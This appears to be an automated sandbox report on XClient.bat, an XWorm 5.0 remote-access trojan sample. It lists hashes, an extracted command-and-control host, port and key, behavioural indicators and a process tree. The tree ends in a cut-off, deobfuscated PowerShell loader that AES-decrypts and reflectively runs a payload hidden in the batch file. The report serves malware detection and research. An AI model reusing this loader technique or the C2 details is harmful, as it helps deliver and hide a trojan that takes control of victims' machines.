Analysis
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max time kernel
104s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
27/07/2024, 06:57
Static task
static1
Behavioral task
behavioral1
Sample
XClient.bat
Resource
win7-20240704-en
General
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Target
XClient.bat
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Size
273KB
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MD5
dca82e50fdbefaf467663ee49541a5e8
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SHA1
52bcb41f5b2566312c53dcc95348fc681a1b56e1
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SHA256
1896c998055a7aa425a66bc860d7844102e9a303732df8f7eeb560d659e90c6f
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SHA512
4e4e0749db357e911a6b9d4d3a6419df9bf03a70ea405eeb16f539f48bf202c75a91fb06ae29818fb276d61df3efbd1a1e5c5a3e41145d734c2d0764d7c0e538
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SSDEEP
6144:DwT4eBwEaUe82AEsELrc/A5sj31o5Eh+rPTUeG8P0j5ZWCfc:DwTvCRtfs7AKjyEh+fUePP0Bc
Malware Config
Extracted
xworm
5.0
thus-coffee.gl.at.ply.gg:6886
OLM8W4YTLUQ9bDI1
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/3508-149-0x000001E5CA920000-0x000001E5CA92E000-memory.dmp family_xworm -
Blocklisted process makes network request 6 IoCs
flow pid Process 49 3508 powershell.exe 51 3508 powershell.exe 52 3508 powershell.exe 62 3508 powershell.exe 65 3508 powershell.exe 67 3508 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2328 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe -
Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133665371249121894" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133665371221304425" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133665370540755125" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PTT = "133665371266617120" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133650096022120250" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133650096024307987" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133665370522258405" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133665370903384840" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1 svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2144 powershell.exe 2144 powershell.exe 2328 powershell.exe 2328 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2144 powershell.exe Token: SeDebugPrivilege 2328 powershell.exe Token: SeIncreaseQuotaPrivilege 2328 powershell.exe Token: SeSecurityPrivilege 2328 powershell.exe Token: SeTakeOwnershipPrivilege 2328 powershell.exe Token: SeLoadDriverPrivilege 2328 powershell.exe Token: SeSystemProfilePrivilege 2328 powershell.exe Token: SeSystemtimePrivilege 2328 powershell.exe Token: SeProfSingleProcessPrivilege 2328 powershell.exe Token: SeIncBasePriorityPrivilege 2328 powershell.exe Token: SeCreatePagefilePrivilege 2328 powershell.exe Token: SeBackupPrivilege 2328 powershell.exe Token: SeRestorePrivilege 2328 powershell.exe Token: SeShutdownPrivilege 2328 powershell.exe Token: SeDebugPrivilege 2328 powershell.exe Token: SeSystemEnvironmentPrivilege 2328 powershell.exe Token: SeRemoteShutdownPrivilege 2328 powershell.exe Token: SeUndockPrivilege 2328 powershell.exe Token: SeManageVolumePrivilege 2328 powershell.exe Token: 33 2328 powershell.exe Token: 34 2328 powershell.exe Token: 35 2328 powershell.exe Token: 36 2328 powershell.exe Token: SeIncreaseQuotaPrivilege 2328 powershell.exe Token: SeSecurityPrivilege 2328 powershell.exe Token: SeTakeOwnershipPrivilege 2328 powershell.exe Token: SeLoadDriverPrivilege 2328 powershell.exe Token: SeSystemProfilePrivilege 2328 powershell.exe Token: SeSystemtimePrivilege 2328 powershell.exe Token: SeProfSingleProcessPrivilege 2328 powershell.exe Token: SeIncBasePriorityPrivilege 2328 powershell.exe Token: SeCreatePagefilePrivilege 2328 powershell.exe Token: SeBackupPrivilege 2328 powershell.exe Token: SeRestorePrivilege 2328 powershell.exe Token: SeShutdownPrivilege 2328 powershell.exe Token: SeDebugPrivilege 2328 powershell.exe Token: SeSystemEnvironmentPrivilege 2328 powershell.exe Token: SeRemoteShutdownPrivilege 2328 powershell.exe Token: SeUndockPrivilege 2328 powershell.exe Token: SeManageVolumePrivilege 2328 powershell.exe Token: 33 2328 powershell.exe Token: 34 2328 powershell.exe Token: 35 2328 powershell.exe Token: 36 2328 powershell.exe Token: SeIncreaseQuotaPrivilege 2328 powershell.exe Token: SeSecurityPrivilege 2328 powershell.exe Token: SeTakeOwnershipPrivilege 2328 powershell.exe Token: SeLoadDriverPrivilege 2328 powershell.exe Token: SeSystemProfilePrivilege 2328 powershell.exe Token: SeSystemtimePrivilege 2328 powershell.exe Token: SeProfSingleProcessPrivilege 2328 powershell.exe Token: SeIncBasePriorityPrivilege 2328 powershell.exe Token: SeCreatePagefilePrivilege 2328 powershell.exe Token: SeBackupPrivilege 2328 powershell.exe Token: SeRestorePrivilege 2328 powershell.exe Token: SeShutdownPrivilege 2328 powershell.exe Token: SeDebugPrivilege 2328 powershell.exe Token: SeSystemEnvironmentPrivilege 2328 powershell.exe Token: SeRemoteShutdownPrivilege 2328 powershell.exe Token: SeUndockPrivilege 2328 powershell.exe Token: SeManageVolumePrivilege 2328 powershell.exe Token: 33 2328 powershell.exe Token: 34 2328 powershell.exe Token: 35 2328 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2636 wrote to memory of 3924 2636 cmd.exe 89 PID 2636 wrote to memory of 3924 2636 cmd.exe 89 PID 2636 wrote to memory of 2144 2636 cmd.exe 90 PID 2636 wrote to memory of 2144 2636 cmd.exe 90 PID 2144 wrote to memory of 2328 2144 powershell.exe 94 PID 2144 wrote to memory of 2328 2144 powershell.exe 94 PID 2144 wrote to memory of 4236 2144 powershell.exe 98 PID 2144 wrote to memory of 4236 2144 powershell.exe 98 PID 4236 wrote to memory of 1332 4236 WScript.exe 99 PID 4236 wrote to memory of 1332 4236 WScript.exe 99 PID 1332 wrote to memory of 2008 1332 cmd.exe 103 PID 1332 wrote to memory of 2008 1332 cmd.exe 103 PID 1332 wrote to memory of 3508 1332 cmd.exe 104 PID 1332 wrote to memory of 3508 1332 cmd.exe 104 PID 3508 wrote to memory of 3404 3508 powershell.exe 56 PID 3508 wrote to memory of 1180 3508 powershell.exe 21 PID 3508 wrote to memory of 780 3508 powershell.exe 10 PID 3508 wrote to memory of 1172 3508 powershell.exe 20 PID 3508 wrote to memory of 2548 3508 powershell.exe 42 PID 3508 wrote to memory of 2744 3508 powershell.exe 47 PID 3508 wrote to memory of 1364 3508 powershell.exe 23 PID 3508 wrote to memory of 1164 3508 powershell.exe 19 PID 3508 wrote to memory of 3920 3508 powershell.exe 66 PID 3508 wrote to memory of 1752 3508 powershell.exe 30 PID 3508 wrote to memory of 2736 3508 powershell.exe 46 PID 3508 wrote to memory of 1956 3508 powershell.exe 34 PID 3508 wrote to memory of 2928 3508 powershell.exe 48 PID 3508 wrote to memory of 2532 3508 powershell.exe 75 PID 3508 wrote to memory of 364 3508 powershell.exe 93 PID 3508 wrote to memory of 1148 3508 powershell.exe 18 PID 3508 wrote to memory of 948 3508 powershell.exe 12 PID 3508 wrote to memory of 1140 3508 powershell.exe 17 PID 3508 wrote to memory of 1728 3508 powershell.exe 29 PID 3508 wrote to memory of 736 3508 powershell.exe 65 PID 3508 wrote to memory of 4672 3508 powershell.exe 72 PID 3508 wrote to memory of 1948 3508 powershell.exe 33 PID 3508 wrote to memory of 2584 3508 powershell.exe 101 PID 3508 wrote to memory of 3672 3508 powershell.exe 57 PID 3508 wrote to memory of 2292 3508 powershell.exe 41 PID 3508 wrote to memory of 1304 3508 powershell.exe 22 PID 3508 wrote to memory of 1496 3508 powershell.exe 36 PID 3508 wrote to memory of 508 3508 powershell.exe 15 PID 3508 wrote to memory of 2664 3508 powershell.exe 45 PID 3508 wrote to memory of 4628 3508 powershell.exe 68 PID 3508 wrote to memory of 884 3508 powershell.exe 11 PID 3508 wrote to memory of 2064 3508 powershell.exe 37 PID 3508 wrote to memory of 2248 3508 powershell.exe 40 PID 3508 wrote to memory of 3012 3508 powershell.exe 52 PID 3508 wrote to memory of 3032 3508 powershell.exe 53 PID 3508 wrote to memory of 2224 3508 powershell.exe 39 PID 3508 wrote to memory of 1828 3508 powershell.exe 32 PID 3508 wrote to memory of 3004 3508 powershell.exe 51 PID 3508 wrote to memory of 1624 3508 powershell.exe 28 PID 3508 wrote to memory of 2012 3508 powershell.exe 35 PID 3508 wrote to memory of 1612 3508 powershell.exe 27 PID 3508 wrote to memory of 1412 3508 powershell.exe 25 PID 3508 wrote to memory of 1004 3508 powershell.exe 16 PID 3508 wrote to memory of 412 3508 powershell.exe 14 PID 3508 wrote to memory of 1584 3508 powershell.exe 26 PID 3508 wrote to memory of 2568 3508 powershell.exe 69 PID 3508 wrote to memory of 2960 3508 powershell.exe 49 PID 3508 wrote to memory of 1776 3508 powershell.exe 31 PID 3508 wrote to memory of 1380 3508 powershell.exe 24 PID 780 wrote to memory of 1052 780 svchost.exe 106
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:780 -
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:1052
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:1760
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵PID:3648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1148
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1584
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1612
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1776
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2012
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2248
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2928
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2960
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3032
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3404
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UtCZ/QU0Uz0/2AJpjPLo1YG+vrl+qYXHTA/y8YIkR3o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('woD8bt3Dpv9ayrHA/vVpUQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UGVfs=New-Object System.IO.MemoryStream(,$param_var); $uMcnm=New-Object System.IO.MemoryStream; $rKoLa=New-Object System.IO.Compression.GZipStream($UGVfs, [IO.Compression.CompressionMode]::Decompress); $rKoLa.CopyTo($uMcnm); $rKoLa.Dispose(); $UGVfs.Dispose(); $uMcnm.Dispose(); $uMcnm.ToArray();}function execute_function($param_var,$param2_var){ $itbHk=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $nikHT=$itbHk.EntryPoint; $nikHT.Invoke($null, $param2_var);}$vyzpV = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$host.UI.RawUI.WindowTitle = $vyzpV;$AkYGG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($vyzpV).Split([Environment]::NewLine);foreach ($zrkhd in $AkYGG) { if ($zrkhd.StartsWith('KVRIwZVKTdpHMzNhDqYI')) { $pemRj=$zrkhd.Substring(20); break; 